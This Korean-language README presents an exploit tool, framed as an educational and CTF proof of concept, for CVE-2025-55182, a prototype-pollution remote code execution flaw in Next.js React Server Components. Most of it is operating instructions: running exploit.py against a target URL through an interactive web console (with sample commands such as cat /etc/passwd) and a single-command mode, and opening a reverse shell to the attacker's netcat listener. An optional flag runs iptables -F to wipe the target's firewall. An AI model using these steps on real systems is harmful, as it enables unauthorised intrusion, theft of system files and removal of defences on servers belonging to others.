
WEB-CLI_RCE_React2Shell은 React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 Prototype Pollution 취약점인 CVE-2025-55182를 위한 교육용 PoC 익스플로잇 도구입니다. CTF 및 연구용으로 설계되었으며, 단일 명령 모드, 대화형 웹 CLI, 그리고 RCE를 시연하기 위한 리버스 셸 기능을 갖추고 있습니다.
이 도구는 CVE-2025-55182에 대한 간단한 개념 증명(PoC) 익스플로잇입니다. 이는 React Server Components를 사용하는 Next.js 애플리케이션에서 발견된 심각한 결함(프로토타입 오염)입니다.
대상 서버가 취약할 경우, 이 스크립트를 통해 운영 체제 명령을 실행할 수 있습니다(원격 코드 실행, RCE).
이 도구는 학습, CTF 및 책임 있는 보안 연구를 위해 제작되었습니다.
윤리적으로 사용하십시오. 이 익스플로잇은 귀하가 소유했거나 명시적이고 문서화된 테스트 권한이 있는 시스템에 대해서만 실행하십시오. 무단 사용은 불법입니다. 이 도구는 교육 목적으로만 제공됩니다.
이 도구는 명령을 실행하는 세 가지 주요 방법을 제공합니다: 단일 명령 실행, 전체 대화형 웹 콘솔, 그리고 고전적인 리버스 셸 시도입니다.
코드 가져오기:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
라이브러리 설치:
pip install requests
대상과 상호 작용하는 가장 쉬운 방법입니다. 로컬 머신에서 터미널처럼 작동하는 로컬 웹 페이지를 시작합니다.
스크립트 실행:
python3 exploit.py <TARGET_URL> --web-cli
예시: python3 exploit.py http://target.com/ --web-cli
브라우저 열기: 스크립트가 http://127.0.0.1:8000/을 열도록 알려줍니다. 그런 다음 웹 페이지에 명령(예: ls, whoami, cat /etc/passwd)을 직접 입력할 수 있습니다.
하나의 명령을 실행하고 로컬 터미널에서 즉시 출력을 확인합니다. 사용자 ID를 찾는 등 빠른 확인에 유용합니다.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
예시: python3 exploit.py http://target.com/ --cmd 'id'
안정적이고 지속적인 연결을 원하는 경우 이 모드를 사용하십시오. 참고: 실제 환경에서는 방화벽(이그레스 필터링)으로 인해 자주 실패합니다.
리스너 시작 (예: netcat):
nc -lvnp 55555
익스플로잇 실행:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: 사용자 머신의 IP.-p 55555: 리스너가 사용 중인 포트.--flush (선택 사항): 대상에서 먼저 iptables -F를 실행하여 호스트 방화벽을 지우려고 시도합니다.이 익스플로잇은 프로토타입 오염(Prototype Pollution) 결함을 이용하여 RCE를 달성합니다.
Object.prototype)에 속성을 추가할 수 있게 합니다.child_process 사용)을 오염시킵니다. 해당 속성의 값을 셸 명령으로 바꿉니다.execSync)하고 즉시 무해한 오류를 발생시키도록 합니다. 명령의 출력은 교묘하게 오류 메시지의 digest 필드에 저장됩니다. Python 스크립트는 이 필드를 읽어 결과를 얻습니다.이 연구는 보안 커뮤니티의 초기 작업과 공개에 기반을 두고 있습니다. 모든 연구원과 오픈 소스 기여자에게 감사드립니다.